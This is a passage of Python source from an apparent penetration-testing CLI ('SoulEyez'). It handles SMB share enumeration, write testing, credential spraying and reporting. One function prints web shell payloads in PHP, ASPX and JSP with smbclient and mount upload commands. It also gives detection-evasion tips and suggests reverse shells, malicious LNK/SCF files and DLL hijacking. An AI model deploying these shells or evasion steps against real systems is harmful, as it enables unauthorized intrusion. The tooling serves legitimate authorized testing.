                f.write("   - Deploy EDR/antivirus on file servers\n\n")

            if readable_shares:
                f.write("### Medium Priority (Readable Shares)\n\n")
                f.write("1. **Review exposed data** on readable shares for sensitive content\n")
                f.write("2. **Implement authentication** for business-critical shares\n")
                f.write("3. **Remove or relocate sensitive files** (configs, backups, credentials)\n")
                f.write("4. **Enable access logging** to track file access\n\n")

            if no_access_shares:
                f.write("### General Security\n\n")
                f.write("1. **Test authenticated shares** with discovered credentials\n")
                f.write("2. **Implement strong password policies** for SMB accounts\n")
                f.write("3. **Enable account lockout** to prevent brute force attacks\n")
                f.write("4. **Regular security audits** of share permissions\n")
                f.write("5. **Use Windows File Server Resource Manager** for advanced controls\n\n")

            f.write("---\n\n")

            # Footer
            f.write("## Appendix: Commands Used\n\n")
            f.write("```bash\n")
            f.write("# Share enumeration\n")
            f.write("smbmap -H <target>\n\n")
            f.write("# Recursive file listing\n")
            f.write("smbclient //<host>/<share> -N -c 'recurse; ls'\n\n")
            f.write("# Credential testing\n")
            f.write("smbclient //<host>/<share> -U <username>%<password> -c 'ls'\n")
            f.write("```\n\n")

            f.write("---\n\n")
            f.write(f"*Report generated by SoulEyez v1.0 - {time.strftime('%Y-%m-%d %H:%M:%S')}*\n")

        click.echo()
        click.echo(click.style(f"✓ Successfully exported comprehensive SMB report!", bold=True, fg='green'))
        click.echo()
        click.echo(f"  📄 File: {filepath}")
        click.echo(f"  📊 Shares: {stats['total_shares']} total, {len(writable_shares)} writable, {len(readable_shares)} readable")
        click.echo(f"  🔑 Credentials: {len(valid_smb_creds)} valid")
        click.echo(f"  🔍 Findings: {len(smb_findings)}")
        click.echo()

        if click.confirm("Open report in default text editor?", default=False):
            try:
                import subprocess
                subprocess.run(['xdg-open', filepath], check=False)
            except:
                pass

        click.pause()

    except Exception as e:
        click.echo()
        click.echo(click.style(f"✗ Error exporting report: {e}", fg='red'))
        import traceback
        traceback.print_exc()
        click.pause()


def _show_web_shell_guidance(engagement_id: int, all_shares: List[Dict[str, Any]], hm: HostManager):
    """Show guidance for uploading web shells to writable SMB shares."""
    from souleyez.storage.services import ServiceManager

    sm = ServiceManager()

    DesignSystem.clear_screen()

    click.echo("\n" + "=" * 70)
    click.echo(click.style(" 🌐 WEB SHELL UPLOAD GUIDANCE ", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")

    click.echo(click.style("⚠ WARNING: Web shell deployment is HIGH RISK", bold=True, fg='red'))
    click.echo()
    click.echo(click.style("Risks:", fg='yellow'))
    click.echo("  - May trigger AV/EDR detection")
    click.echo("  - Generates logs and alerts")
    click.echo("  - Requires written authorization")
    click.echo("  - May violate compliance requirements")
    click.echo()
    click.echo(click.style("Only proceed if:", fg='yellow'))
    click.echo("  ✓ You have explicit written authorization")
    click.echo("  ✓ This is within scope of engagement")
    click.echo("  ✓ You understand the risks and detection likelihood")
    click.echo()

    if not click.confirm("I understand the risks and have proper authorization. Continue?", default=False):
        return

    click.echo()
    click.echo("=" * 70)
    click.echo()

    # Show writable shares
    writable_shares = [s for s in all_shares if s.get('writable')]

    if not writable_shares:
        click.echo(click.style("✗ No writable shares found", fg='yellow'))
        click.pause()
        return

    click.echo(click.style("STEP 1: Select Target Share", bold=True, fg='cyan'))
    click.echo()

    for share in writable_shares:
        share_id = share['id']
        host_ip = share['ip_address']
        share_name = share['share_name']
        host_id = share['host_id']

        # Check if host has web services
        services = sm.list_services(engagement_id, host_id=host_id)
        web_services = [s for s in services if s.get('port') in [80, 443, 8080, 8443] or 'http' in s.get('service', '').lower()]

        web_indicator = click.style(" [HAS WEB SERVICE]", fg='green', bold=True) if web_services else ""

        click.echo(f"  [ID {share_id}] \\\\{host_ip}\\{share_name}{web_indicator}")

        if web_services:
            for svc in web_services:
                click.echo(f"    → {svc.get('service', 'http')} on port {svc.get('port')}")

    click.echo()

    try:
        share_id = click.prompt("Select share ID", type=int)
    except (KeyboardInterrupt, click.Abort):
        return

    share = next((s for s in writable_shares if s['id'] == share_id), None)
    if not share:
        click.echo(click.style(f"\n✗ Share ID {share_id} not found", fg='red'))
        click.pause()
        return

    host_ip = share['ip_address']
    share_name = share['share_name']
    host_id = share['host_id']

    click.echo()
    click.echo("=" * 70)
    click.echo()

    # Detect web root mapping
    click.echo(click.style("STEP 2: Identify Web Root Mapping", bold=True, fg='cyan'))
    click.echo()

    click.echo("You need to determine if this SMB share maps to a web-accessible directory.")
    click.echo()
    click.echo(click.style("Common mappings:", dim=True))
    click.echo(click.style("  - C$ or C → C:\\inetpub\\wwwroot (IIS)", dim=True))
    click.echo(click.style("  - wwwroot → Web root (IIS)", dim=True))
    click.echo(click.style("  - www or html → /var/www/html (Apache/Nginx)", dim=True))
    click.echo(click.style("  - webapps → Tomcat webapps directory", dim=True))
    click.echo()

    # Check for web services
    services = sm.list_services(engagement_id, host_id=host_id)
    web_services = [s for s in services if s.get('port') in [80, 443, 8080, 8443] or 'http' in s.get('service', '').lower()]

    if web_services:
        click.echo(click.style(f"✓ Host {host_ip} has web service(s):", fg='green'))
        for svc in web_services:
            port = svc.get('port')
            service = svc.get('service', 'http')
            protocol = 'https' if port in [443, 8443] or 'https' in service else 'http'
            click.echo(f"  - {service} on port {port} → {protocol}://{host_ip}:{port}/")
        click.echo()

        click.echo(click.style("Test web root access:", fg='yellow'))
        for svc in web_services:
            port = svc.get('port')
            protocol = 'https' if port in [443, 8443] else 'http'
            click.echo(f"  curl {protocol}://{host_ip}:{port}/test.txt")
        click.echo()
    else:
        click.echo(click.style(f"⚠ No web services detected on {host_ip}", fg='yellow'))
        click.echo(click.style("This share may not be web-accessible", fg='yellow'))
        click.echo()

    click.echo("=" * 70)
    click.echo()

    # Recommend shell type
    click.echo(click.style("STEP 3: Select Web Shell Type", bold=True, fg='cyan'))
    click.echo()

    click.echo("Choose based on detected technology:")
    click.echo()

    # Check for technology indicators
    all_services = sm.list_services(engagement_id, host_id=host_id)
    has_iis = any('iis' in s.get('service', '').lower() or 'microsoft' in s.get('banner', '').lower() for s in all_services)
    has_apache = any('apache' in s.get('service', '').lower() or 'apache' in s.get('banner', '').lower() for s in all_services)
    has_tomcat = any('tomcat' in s.get('service', '').lower() or 'tomcat' in s.get('banner', '').lower() for s in all_services)
    has_php = any('php' in s.get('banner', '').lower() for s in all_services)

    if has_iis:
        click.echo(click.style("  • ASP/ASPX Shell", fg='green', bold=True) + " (IIS detected)")
        click.echo("    - Simple: <?php system($_GET['cmd']); ?>")
        click.echo("    - Upload as: shell.aspx")
    elif has_tomcat:
        click.echo(click.style("  • JSP Shell", fg='green', bold=True) + " (Tomcat detected)")
        click.echo("    - Upload as WAR file to webapps/")
    elif has_apache or has_php:
        click.echo(click.style("  • PHP Shell", fg='green', bold=True) + " (Apache/PHP detected)")
        click.echo("    - Simple: <?php system($_GET['cmd']); ?>")
        click.echo("    - Upload as: shell.php")
    else:
        click.echo(click.style("  • PHP Shell", fg='yellow') + " (most common)")
        click.echo("    <?php system($_GET['cmd']); ?>")
        click.echo()
        click.echo(click.style("  • ASP/ASPX Shell", fg='yellow') + " (Windows/IIS)")
        click.echo("    <%@ Page Language=\"C#\" %> <% System.Diagnostics.Process.Start(Request[\"cmd\"]); %>")
        click.echo()
        click.echo(click.style("  • JSP Shell", fg='yellow') + " (Tomcat/J2EE)")
        click.echo("    <% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>")

    click.echo()
    click.echo(click.style("⚠ Detection Evasion:", fg='yellow'))
    click.echo("  - Obfuscate code (base64, encryption)")
    click.echo("  - Use legitimate file names (index.php, admin.php)")
    click.echo("  - Add benign content to avoid signature detection")
    click.echo("  - Consider using living-off-the-land binaries instead")
    click.echo()

    click.echo("=" * 70)
    click.echo()

    # Show upload commands
    click.echo(click.style("STEP 4: Upload Web Shell", bold=True, fg='cyan'))
    click.echo()

    click.echo(f"Target: \\\\{host_ip}\\{share_name}")
    click.echo()

    click.echo(click.style("Option A: Using smbclient", fg='cyan'))
    click.echo()
    click.echo(f"  # Create shell file (example: PHP)")
    click.echo(f"  echo '<?php system($_GET[\"cmd\"]); ?>' > shell.php")
    click.echo()
    click.echo(f"  # Upload with credentials")
    click.echo(f"  smbclient //{host_ip}/{share_name} -U username%password -c 'put shell.php'")
    click.echo()
    click.echo(f"  # Or anonymous")
    click.echo(f"  smbclient //{host_ip}/{share_name} -N -c 'put shell.php'")
    click.echo()

    click.echo(click.style("Option B: Mount share and copy", fg='cyan'))
    click.echo()
    click.echo(f"  # Create mount point")
    click.echo(f"  sudo mkdir -p /mnt/smb_target")
    click.echo()
    click.echo(f"  # Mount (guest)")
    click.echo(f"  sudo mount -t cifs //{host_ip}/{share_name} /mnt/smb_target -o guest,rw")
    click.echo()
    click.echo(f"  # Or with credentials")
    click.echo(f"  sudo mount -t cifs //{host_ip}/{share_name} /mnt/smb_target -o username=user,password=pass,rw")
    click.echo()
    click.echo(f"  # Copy shell")
    click.echo(f"  sudo cp shell.php /mnt/smb_target/")
    click.echo()
    click.echo(f"  # Unmount")
    click.echo(f"  sudo umount /mnt/smb_target")
    click.echo()

    click.echo("=" * 70)
    click.echo()

    # Show access instructions
    click.echo(click.style("STEP 5: Access Web Shell", bold=True, fg='cyan'))
    click.echo()

    if web_services:
        click.echo("Try accessing shell via detected web services:")
        click.echo()
        for svc in web_services:
            port = svc.get('port')
            protocol = 'https' if port in [443, 8443] else 'http'
            click.echo(f"  {protocol}://{host_ip}:{port}/shell.php?cmd=whoami")
            click.echo(f"  {protocol}://{host_ip}:{port}/subdir/shell.php?cmd=whoami")
        click.echo()
    else:
        click.echo(click.style("⚠ No web services detected - shell may not be accessible", fg='yellow'))
        click.echo()

    click.echo(click.style("💡 Pro Tips:", fg='cyan'))
    click.echo("  1. Test with harmless command first (whoami, pwd)")
    click.echo("  2. Use POST requests instead of GET to avoid logging")
    click.echo("  3. Delete shell immediately after establishing persistence")
    click.echo("  4. Consider upgrading to reverse shell or C2 implant")
    click.echo("  5. Document all actions for reporting")
    click.echo()

    click.echo("=" * 70)
    click.echo()

    # Alternative techniques
    click.echo(click.style("ALTERNATIVE TECHNIQUES (if not web root)", bold=True, fg='yellow'))
    click.echo()
    click.echo("If share doesn't map to web root, consider:")
    click.echo()
    click.echo("  1. Upload tools for privilege escalation")
    click.echo("     - WinPEAS, PowerUp, Sherlock, etc.")
    click.echo()
    click.echo("  2. Upload reverse shell binaries")
    click.echo("     - nc.exe, socat, custom binary")
    click.echo("     - Execute via scheduled task or startup folder")
    click.echo()
    click.echo("  3. SCF file attack (if share is browsed by users)")
    click.echo("     - Creates .scf file that captures NTLM hashes")
    click.echo()
    click.echo("  4. Drop malicious LNK files")
    click.echo("     - Executes payload when clicked")
    click.echo()
    click.echo("  5. DLL hijacking")
    click.echo("     - Upload malicious DLL to writable PATH location")
    click.echo()

    click.echo("=" * 70)
    click.echo()

    click.pause()


def _upload_test_file(engagement_id: int, all_shares: List[Dict[str, Any]]):
    """Upload a test file to a writable SMB share to verify write access."""
    import subprocess
    import tempfile
    import time
    from souleyez.storage.credentials import CredentialsManager

    cm = CredentialsManager()

    DesignSystem.clear_screen()

    click.echo("\n" + "=" * 70)
    click.echo(click.style(" 📤 UPLOAD TEST FILE TO SMB SHARE ", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")

    # Show writable shares
    writable_shares = [s for s in all_shares if s.get('writable')]

    if not writable_shares:
        click.echo(click.style("✗ No writable shares found", fg='yellow'))
        click.echo()
        click.echo(click.style("💡 Run credential testing to discover writable shares", dim=True))
        click.pause()
        return

    click.echo(click.style("Writable Shares:", bold=True, fg='cyan'))
    click.echo()

    for share in writable_shares:
        share_id = share['id']
        host_ip = share['ip_address']
        share_name = share['share_name']
        permissions = share.get('permissions', 'READ, WRITE')

        click.echo(f"  [ID {share_id}] \\\\{host_ip}\\{share_name} - {click.style(permissions, fg='red', bold=True)}")

    click.echo()

    try:
        share_id = click.prompt("Enter share ID to test", type=int)
    except (KeyboardInterrupt, click.Abort):
        return

    # Find the selected share
    share = next((s for s in writable_shares if s['id'] == share_id), None)
    if not share:
        click.echo(click.style(f"\n✗ Share ID {share_id} not found or not writable!", fg='red'))
        click.pause()
        return

    host_ip = share['ip_address']
    share_name = share['share_name']
    host_id = share['host_id']

    # Check for valid credentials
    creds = cm.list_credentials(engagement_id, host_id=host_id, service='smb', status='valid', decrypt=True)

    username = None
    password = None

    if creds:
        click.echo()
        click.echo(click.style("Found valid SMB credentials for this host:", fg='green'))
        click.echo(f"  [0] Anonymous (no credentials)")
        for idx, cred in enumerate(creds[:5], 1):
            click.echo(f"  [{idx}] {cred['username']}:{cred['password']}")
        click.echo()

        try:
            cred_choice = click.prompt("Select credential number", type=int, default=0)
            if cred_choice > 0 and cred_choice <= len(creds):
                selected_cred = creds[cred_choice - 1]
                username = selected_cred['username']
                password = selected_cred['password']
        except (KeyboardInterrupt, click.Abort):
            return
    else:
        click.echo()
        click.echo(click.style("No valid credentials found - using anonymous access", fg='yellow'))
        click.echo()

    # Create test file
    timestamp = int(time.time())
    test_filename = f"souleyez_test_{timestamp}.txt"
    test_content = f"""SoulEyez SMB Write Test
=======================

Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}
Share: \\\\{host_ip}\\{share_name}
Test ID: {timestamp}

This is a test file created by SoulEyez to verify WRITE permissions on this SMB share.
If you see this file, the share has WRITE access and may be vulnerable to:
- Web shell uploads
- Malware deployment
- Lateral movement
- Data exfiltration

This file can be safely deleted.
"""

    # Create temporary file
    with tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.txt') as tmp:
        tmp.write(test_content)
        tmp_path = tmp.name

    try:
        click.echo(click.style(f"Uploading test file: {test_filename}", fg='cyan'))
        click.echo(click.style("This will create a file on the remote share...", dim=True))
        click.echo()

        # Build smbclient command
        if username and password:
            cmd = [
                'smbclient',
                f'//{host_ip}/{share_name}',
                '-U', f'{username}%{password}',
                '-c', f'put "{tmp_path}" "{test_filename}"',
                '--option=client min protocol=NT1'
            ]
        else:
            cmd = [
                'smbclient',
                f'//{host_ip}/{share_name}',
                '-N',  # No password
                '-c', f'put "{tmp_path}" "{test_filename}"',
                '--option=client min protocol=NT1'
            ]

        result = subprocess.run(
            cmd,
            capture_output=True,
            timeout=30,
            text=True
        )

        output = result.stdout + result.stderr

        # Check for errors
        if 'NT_STATUS_LOGON_FAILURE' in output or 'NT_STATUS_ACCESS_DENIED' in output:
            click.echo(click.style("✗ Upload failed - access denied", fg='red'))
            click.echo()
            click.echo(click.style("Possible reasons:", dim=True))
            click.echo(click.style("  - Invalid credentials", dim=True))
            click.echo(click.style("  - Share is read-only", dim=True))
            click.echo(click.style("  - Insufficient permissions", dim=True))
            click.pause()
            return

        if 'putting file' in output.lower() and 'NT_STATUS' not in output:
            click.echo(click.style("✓ Test file uploaded successfully!", bold=True, fg='green'))
            click.echo()
            click.echo(f"  📄 File: {test_filename}")
            click.echo(f"  📍 Location: \\\\{host_ip}\\{share_name}\\{test_filename}")
            click.echo(f"  📊 Size: {len(test_content)} bytes")
            click.echo()

            # Verify by listing
            click.echo(click.style("Verifying upload...", dim=True))

            if username and password:
                verify_cmd = [
                    'smbclient',
                    f'//{host_ip}/{share_name}',
                    '-U', f'{username}%{password}',
                    '-c', f'ls "{test_filename}"',
                    '--option=client min protocol=NT1'
                ]
            else:
                verify_cmd = [
                    'smbclient',
                    f'//{host_ip}/{share_name}',
                    '-N',
                    '-c', f'ls "{test_filename}"',
                    '--option=client min protocol=NT1'
                ]

            verify_result = subprocess.run(
                verify_cmd,
                capture_output=True,
                timeout=10,
                text=True
            )

            verify_output = verify_result.stdout + verify_result.stderr

            if test_filename in verify_output and 'NT_STATUS' not in verify_output:
                click.echo(click.style("✓ File verified on remote share", fg='green'))
                click.echo()

                # Ask to delete
                if click.confirm("Delete test file from share?", default=True):
                    if username and password:
                        del_cmd = [
                            'smbclient',
                            f'//{host_ip}/{share_name}',
                            '-U', f'{username}%{password}',
                            '-c', f'del "{test_filename}"',
                            '--option=client min protocol=NT1'
                        ]
                    else:
                        del_cmd = [
                            'smbclient',
                            f'//{host_ip}/{share_name}',
                            '-N',
                            '-c', f'del "{test_filename}"',
                            '--option=client min protocol=NT1'
                        ]

                    del_result = subprocess.run(
                        del_cmd,
                        capture_output=True,
                        timeout=10,
                        text=True
                    )

                    del_output = del_result.stdout + del_result.stderr

                    if 'NT_STATUS' not in del_output and del_result.returncode == 0:
                        click.echo(click.style("✓ Test file deleted", fg='green'))
                    else:
                        click.echo(click.style("⚠ Could not delete test file - manual cleanup may be needed", fg='yellow'))
                else:
                    click.echo()
                    click.echo(click.style("💡 Remember to manually delete the test file:", fg='yellow'))
                    click.echo(f"   \\\\{host_ip}\\{share_name}\\{test_filename}")
            else:
                click.echo(click.style("⚠ Could not verify file on remote share", fg='yellow'))
                click.echo(click.style("File may still have been uploaded successfully", dim=True))

        else:
            click.echo(click.style("✗ Upload failed", fg='red'))
            click.echo()
            click.echo(click.style("Output:", dim=True))
            click.echo(output[:500])

    except subprocess.TimeoutExpired:
        click.echo(click.style("✗ Upload timed out", fg='red'))
    except FileNotFoundError:
        click.echo(click.style("✗ smbclient not installed", fg='red'))
        click.echo(click.style("Install with: sudo apt install smbclient", fg='yellow'))
    except Exception as e:
        click.echo(click.style(f"✗ Error: {e}", fg='red'))
    finally:
        # Clean up temporary file
        try:
            os.unlink(tmp_path)
        except:
            pass

    click.echo()
    click.pause()


def _enumerate_smb_share(engagement_id: int, all_shares: List[Dict[str, Any]], smm: SMBSharesManager):
    """Recursively enumerate files in an SMB share."""
    import subprocess
    import re
    from rich.console import Console
    from souleyez.storage.credentials import CredentialsManager
    from souleyez.storage.findings import FindingsManager

    console = Console()
    cm = CredentialsManager()
    fm = FindingsManager()

    DesignSystem.clear_screen()

    click.echo("\n" + "=" * 70)
    click.echo(click.style(" 📂 ENUMERATE SMB SHARE ", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")

    # Show all shares
    click.echo(click.style("Available Shares:", bold=True, fg='cyan'))
    click.echo()

    for share in all_shares:
        share_id = share['id']
        host_ip = share['ip_address']
        share_name = share['share_name']
        permissions = share.get('permissions', 'NO ACCESS')

        # Color code by access level
        if share.get('writable'):
            perm_color = 'red'
        elif share.get('readable'):
            perm_color = 'yellow'
        else:
            perm_color = 'bright_black'

        click.echo(f"  [ID {share_id}] \\\\{host_ip}\\{share_name} - {click.style(permissions, fg=perm_color)}")

    click.echo()

    try:
        share_id = click.prompt("Enter share ID to enumerate", type=int)
    except (KeyboardInterrupt, click.Abort):
        return

    # Find the selected share
    share = next((s for s in all_shares if s['id'] == share_id), None)
    if not share:
        click.echo(click.style(f"\n✗ Share ID {share_id} not found!", fg='red'))
        click.pause()
        return

    host_ip = share['ip_address']
    share_name = share['share_name']
    host_id = share['host_id']

    # Check if share is accessible
    if not share.get('readable') and not share.get('writable'):
        click.echo()
        click.echo(click.style(f"⚠ Warning: Share has NO ACCESS permissions", fg='yellow'))
        click.echo(click.style("You may need valid credentials to access this share.", fg='yellow'))
        click.echo()

        # Try to get credentials
        creds = cm.list_credentials(engagement_id, host_id=host_id, service='smb', status='valid', decrypt=True)

        if creds:
            click.echo(click.style("Found valid SMB credentials for this host:", fg='green'))
            for idx, cred in enumerate(creds[:5], 1):
                click.echo(f"  [{idx}] {cred['username']}:{cred['password']}")
            click.echo()

            try:
                cred_choice = click.prompt("Select credential number (or 0 for anonymous)", type=int, default=0)
                if cred_choice > 0 and cred_choice <= len(creds):
                    selected_cred = creds[cred_choice - 1]
                    username = selected_cred['username']
                    password = selected_cred['password']
                else:
                    username = None
                    password = None
            except (KeyboardInterrupt, click.Abort):
                return
        else:
            if not click.confirm("No valid credentials found. Try anonymous access?", default=True):
                return
            username = None
            password = None
    else:
        # Share is accessible - try anonymous first
        username = None
        password = None

    click.echo()
    click.echo(click.style(f"Enumerating \\\\{host_ip}\\{share_name}...", fg='cyan'))
    click.echo(click.style("This may take a moment for large shares.", dim=True))
    click.echo()

    # Build smbclient command
    if username and password:
        cmd = [
            'smbclient',
            f'//{host_ip}/{share_name}',
            '-U', f'{username}%{password}',
            '-c', 'recurse; ls',
            '--option=client min protocol=NT1'
        ]
    else:
        cmd = [
            'smbclient',
            f'//{host_ip}/{share_name}',
            '-N',  # No password
            '-c', 'recurse; ls',
            '--option=client min protocol=NT1'
        ]

    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            timeout=120,
            text=True
        )

        output = result.stdout + result.stderr

        # Check for errors
        if 'NT_STATUS_LOGON_FAILURE' in output or 'NT_STATUS_ACCESS_DENIED' in output:
            click.echo(click.style("✗ Access denied - invalid credentials or insufficient permissions", fg='red'))
            click.pause()
            return

        if 'NT_STATUS_BAD_NETWORK_NAME' in output:
            click.echo(click.style("✗ Share not found or host unreachable", fg='red'))
            click.pause()
            return

        # Parse output
        files = _parse_smbclient_ls_output(output, share_name)

        if not files:
            click.echo(click.style("✗ No files found or unable to parse output", fg='yellow'))
            click.echo()
            click.echo(click.style("Raw output:", dim=True))
            click.echo(output[:500])
            click.pause()
            return

        # Store files in database
        for file_info in files:
            smm.add_file(share_id, file_info)

        click.echo(click.style(f"✓ Found {len(files)} file(s) and director(y/ies)", bold=True, fg='green'))
        click.echo()

        # Categorize files
        sensitive_patterns = {
            'Passwords': r'(password|passwd|pwd|cred)',
            'Configs': r'\.(config|conf|cfg|ini|xml|yaml|yml)$',
            'Databases': r'\.(sql|db|sqlite|mdb|accdb)$',
            'Backups': r'\.(bak|backup|old|save|~)$',
            'Keys': r'\.(key|pem|crt|cer|p12|pfx|ppk|id_rsa|id_dsa)$',
            'Scripts': r'\.(sh|bat|ps1|py|pl|rb)$',
            'Sensitive Docs': r'(confidential|secret|private|internal)',
        }

        categorized = {}
        for category, pattern in sensitive_patterns.items():
            matches = [f for f in files if re.search(pattern, f['path'], re.IGNORECASE) and not f.get('is_directory')]
            if matches:
                categorized[category] = matches

        # Display interesting files
        if categorized:
            click.echo(click.style("🔍 INTERESTING FILES FOUND:", bold=True, fg='yellow'))
            click.echo()

            for category, matches in categorized.items():
                click.echo(click.style(f"  {category}:", bold=True, fg='yellow') + f" ({len(matches)} file(s))")
                for f in matches[:5]:
                    size_str = f"{f['size']:,} bytes" if f.get('size') else 'unknown size'
                    click.echo(f"    - {f['path']} ({size_str})")
                if len(matches) > 5:
                    click.echo(f"    ... and {len(matches) - 5} more")
                click.echo()

            # Create finding for sensitive files
            evidence_lines = []
            for category, matches in categorized.items():
                evidence_lines.append(f"\n{category} ({len(matches)}):")
                for f in matches[:10]:
                    evidence_lines.append(f"  - {f['path']}")
                if len(matches) > 10:
                    evidence_lines.append(f"  ... and {len(matches) - 10} more")

            evidence = '\n'.join(evidence_lines)

            finding_title = f"Sensitive Files Exposed on SMB Share: \\\\{host_ip}\\{share_name}"
            finding_desc = (
                f"Discovered {len([f for files in categorized.values() for f in files])} potentially sensitive "
                f"file(s) accessible via SMB share \\\\{host_ip}\\{share_name}. "
                f"These files may contain credentials, configuration data, backups, or other sensitive information "
                f"that could be leveraged for further exploitation."
            )

            # Check for duplicates
            existing = fm.list_findings(engagement_id)
            duplicate = False
            for f in existing:
                if f['title'] == finding_title:
                    duplicate = True
                    break

            if not duplicate:
                fm.add_finding(
                    engagement_id=engagement_id,
                    title=finding_title,
                    severity='high',
                    description=finding_desc,
                    evidence=evidence,
                    tool='smb_enumeration'
                )
                click.echo(click.style("✓ Created finding for sensitive files", fg='green'))
                click.echo()

        # Show file tree (limited depth)
        click.echo(click.style("📁 FILE TREE (top 100 entries):", bold=True, fg='cyan'))
        click.echo()

        # Build simple tree view
        dirs = [f for f in files if f.get('is_directory')]
        regular_files = [f for f in files if not f.get('is_directory')]

        click.echo(f"  Directories: {len(dirs)}")
        click.echo(f"  Files: {len(regular_files)}")
        click.echo()

        # Show some files
        for f in files[:100]:
            icon = "📁" if f.get('is_directory') else "📄"
            path = f['path']
            if len(path) > 60:
                path = path[:57] + "..."
            click.echo(f"  {icon} {path}")

        if len(files) > 100:
            click.echo(f"\n  ... and {len(files) - 100} more entries")

        click.echo()
        click.echo(click.style(f"✓ All files stored in database (view with 'View Share Details')", fg='green'))
        click.echo()

    except subprocess.TimeoutExpired:
        click.echo(click.style("✗ Enumeration timed out after 120 seconds", fg='red'))
        click.echo(click.style("💡 Share may be too large or network is slow", fg='yellow'))
    except FileNotFoundError:
        click.echo(click.style("✗ smbclient not installed", fg='red'))
        click.echo(click.style("Install with: sudo apt install smbclient", fg='yellow'))
    except Exception as e:
        click.echo(click.style(f"✗ Error: {e}", fg='red'))

    click.pause()


def _parse_smbclient_ls_output(output: str, share_name: str) -> List[Dict[str, Any]]:
    """
    Parse smbclient ls output into structured file data.

    smbclient output format:
      .                                   D        0  Thu Jan  1 00:00:00 1970
      ..                                  D        0  Thu Jan  1 00:00:00 1970
      file.txt                            A     1234  Mon Dec 25 12:34:56 2023
      subdir                              D        0  Tue Jan  2 10:11:12 2024
    """
    import re
    files = []
    lines = output.split('\n')

    for line in lines:
        line = line.strip()

        # Skip empty lines and progress indicators
        if not line or line.startswith('\\') or line.startswith('|') or line.startswith('getting') or line.startswith('Anonymous'):
            continue

        # Match file/directory entries
        # Format: filename <spaces> type <spaces> size <spaces> date time year
        match = re.match(r'^(.+?)\s{2,}([DA])\s+(\d+)\s+(.+)$', line)

        if match:
            filename = match.group(1).strip()
            file_type = match.group(2)
            size = int(match.group(3))
            timestamp = match.group(4).strip()

            # Skip . and ..
            if filename in ['.', '..']:
                continue

            # Skip system files
            if filename in ['desktop.ini', 'Thumbs.db', '.DS_Store']:
                continue

            file_info = {
                'path': filename,
                'size': size,
                'timestamp': timestamp,
                'is_directory': file_type == 'D'
            }

            files.append(file_info)

    return files


def _test_credentials_against_shares(engagement_id: int, all_shares: List[Dict[str, Any]]):
    """Test all discovered credentials against all SMB shares."""
    import subprocess
    import tempfile
    from souleyez.storage.credentials import CredentialsManager
    from souleyez.storage.findings import FindingsManager
    from souleyez.storage.hosts import HostManager
    from rich.console import Console
    from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn
    from rich.table import Table

    console = Console()
    cm = CredentialsManager()
    fm = FindingsManager()
    smm = SMBSharesManager()
    hm = HostManager()

    DesignSystem.clear_screen()

    click.echo("\n" + "=" * 70)
    click.echo(click.style(" 🔑 TEST CREDENTIALS AGAINST SMB SHARES ", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")

    # Get all credentials for this engagement
    try:
        creds = cm.list_credentials(engagement_id, decrypt=True)
    except RuntimeError as e:
        click.echo(click.style(f"✗ Error: {e}", fg='red'))
        click.echo(click.style("💡 If encryption is enabled, ensure database is unlocked", fg='yellow'))
        click.pause()
        return

    # Filter to credentials with both username and password
    valid_creds = [c for c in creds if c.get('username') and c.get('password')]

    if not valid_creds:
        click.echo(click.style("✗ No username:password pairs found in credentials database", fg='yellow'))
        click.echo()
        click.echo(click.style("💡 TIP: Discover credentials via:", dim=True))
        click.echo(click.style("  - SQL injection (sqlmap --passwords)", dim=True))
        click.echo(click.style("  - Config file enumeration", dim=True))
        click.echo(click.style("  - Password spraying", dim=True))
        click.pause()
        return

    if not all_shares:
        click.echo(click.style("✗ No SMB shares found", fg='yellow'))
        click.pause()
        return

    # Filter out IPC$ and other non-testable shares
    testable_shares = [s for s in all_shares if s.get('share_name') not in ['IPC$', 'print$']]

    if not testable_shares:
        click.echo(click.style("✗ No testable SMB shares found (only IPC$/print$ available)", fg='yellow'))
        click.pause()
        return

    # Show summary
    click.echo(f"Found {len(valid_creds)} credential(s) to test")
    click.echo(f"Found {len(testable_shares)} share(s) to test against")
    click.echo(f"Total tests: {len(valid_creds) * len(testable_shares)}")
    click.echo()

    # Ask for confirmation
    if not click.confirm("This may be noisy and trigger alerts. Continue?", default=True):
        return

    click.echo()

    # Track results
    results = []
    successful_auths = []

    # Progress tracking
    with Progress(
        SpinnerColumn(),
        TextColumn("[progress.description]{task.description}"),
        BarColumn(),
        TextColumn("[progress.percentage]{task.percentage:>3.0f}%"),
        console=console
    ) as progress:

        task = progress.add_task("[cyan]Testing credentials...", total=len(valid_creds) * len(testable_shares))

        for cred in valid_creds:
            username = cred['username']
            password = cred['password']

            for share in testable_shares:
                host_ip = share['ip_address']
                share_name = share['share_name']
                share_id = share['id']
                host_id = share['host_id']

                progress.update(task, description=f"[cyan]Testing {username} against \\\\{host_ip}\\{share_name}")

                # Test using smbclient
                success, readable, writable = _test_smb_credential(host_ip, share_name, username, password)

                result = {
                    'host_ip': host_ip,
                    'share_name': share_name,
                    'share_id': share_id,
                    'host_id': host_id,
                    'username': username,
                    'password': password,
                    'success': success,
                    'readable': readable,
                    'writable': writable
                }

                results.append(result)

                if success:
                    successful_auths.append(result)

                    # Update share access in database if we gained new access
                    if readable or writable:
                        current_share = next((s for s in all_shares if s['id'] == share_id), None)
                        if current_share:
                            # Update if we discovered new permissions
                            update_needed = False
                            if readable and not current_share.get('readable'):
                                update_needed = True
                            if writable and not current_share.get('writable'):
                                update_needed = True

                            if update_needed:
                                share_data = {
                                    'name': share_name,
                                    'type': current_share.get('share_type', 'Disk'),
                                    'permissions': 'READ, WRITE' if writable else 'READ',
                                    'comment': current_share.get('comment', ''),
                                    'readable': readable or current_share.get('readable', False),
                                    'writable': writable or current_share.get('writable', False)
                                }
                                smm.add_share(host_id, share_data)

                    # Add/update credential in database with valid status
                    cm.add_credential(
                        engagement_id=engagement_id,
                        host_id=host_id,
                        username=username,
                        password=password,
                        service='smb',
                        port=445,
                        protocol='tcp',
                        credential_type='user',
                        status='valid',
                        tool='manual_test'
                    )

                progress.update(task, advance=1)

    # Display results
    click.echo()
    click.echo("=" * 70)
